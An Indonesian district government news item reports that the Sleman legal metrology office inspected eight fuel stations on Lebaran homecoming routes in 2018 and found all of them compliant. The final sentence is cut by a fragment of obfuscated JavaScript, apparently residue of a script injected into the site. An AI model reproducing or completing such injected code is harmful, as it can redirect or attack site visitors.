Peningkatan arus lalu lintas cukup tajam selama Ramadhan dan terlebih dalam high session arus mudik lebaran, sehingga berdampak pada kebutuhan bahan bakar minyak (BBM) yang mengalami lonjakan cukup significant. Sehubungan dengan kondisi tersebut, UPT Metrologi Legal Kabupaten Sleman melakukan kegiatan pengawasan stasiun pompa BBM umum (SPBU), terutama yang berada di jalur utama arus mudik lebaran, mulai tanggal 30 Mei – 8 Juni 2018.
Kegiatan pengawasan SPBU ini untuk dimaksudkan untuk memberikan jaminan dan perlindungan kepada konsumen agar terhindar dari praktek penyelewengan saat pengisian BBM. Karena meningkatnya permintaan akan kebutuhan BBM pada saat momen mudik memungkinkan terjadinya aksi kecurangan yang dilakukan oleh kesempatan oknum-oknum di SPBU ataupun faktor ketidaksengajaan karena karakter alat PUBBM yang mengalami eror akibat lonjakan transaksi selama arus mudik lebaran.

Dalam kegiatan pengawasan ini, hal-hal yang diperiksa antara lain: memeriksa kondisi Cap Tanda Tera (CTT) dalam keadaan baik (tidak rusak atau berubah posisi/fungsi), pengujian ukuran liter BBM sebanyak tiga kali dengan kecepatan yang sama pada setiap nozzle yang terdapat pada stasiun SPBU tersebut dan pemeriksaan terhadap badan ukur pompa untuk memastikan peralatan yang ada di dalamnya berfungsi sebagaimana mestinya.

Titik- titik jalur mudik yang dilakukan pengawasan dalam rangka mengamankan jalur mudik lebaran, terutama terhadap SPBU yang berada di:
1. SPBU 44.555.19, Jl. Magelang Mlati Sleman
2. SPBU 44.555.02 Jl. Magelang Tridadi Sleman
3. SPBU 44.552.18 Ringroad Jombor Mlati Sleman
4. SPBU 44.555.09 Jl. Palagan Tentara Pelajar, Mudal, Sariharjo, Ngaglik, Sleman
5. SPBU 44.555.05 Jl. Kaliurang, Tambakan, Sardonoharjo, Ngaglik, Sleman
6. SPBU 44.555.23 Semampir Wetan/Jotokan, Tambakrejo, Tempel, Sleman
7. SPBU 44.555.26 Jl. Godean Tempel km 05, Seyegan, Sleman
8. SPBU COCO 41.552.01 Jl. Laksda Adisucipto km. 6, Sleman
Dari 8 (delapan) SPBU yang dilakukan pengawasan dan pemeriksaan meliputi: tanda tera, kebenaran hasil pengukuran, tidak ditemukan adanya penyimpangan dan semuanya dalam kondisi baik dan layak beroperasi.
Dengan adanya kegiatan pengawasan ini, diharapkan pihak pengelola SPBU memberikan pelayanan sesuai hak dan kewajiban yang seharusnya sesuai amanat Undang-Undang Nomor 2 Tahun 1981 tentang Metrologi Legal | navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Informasi Agenda Dinas
Tidak Ada Comment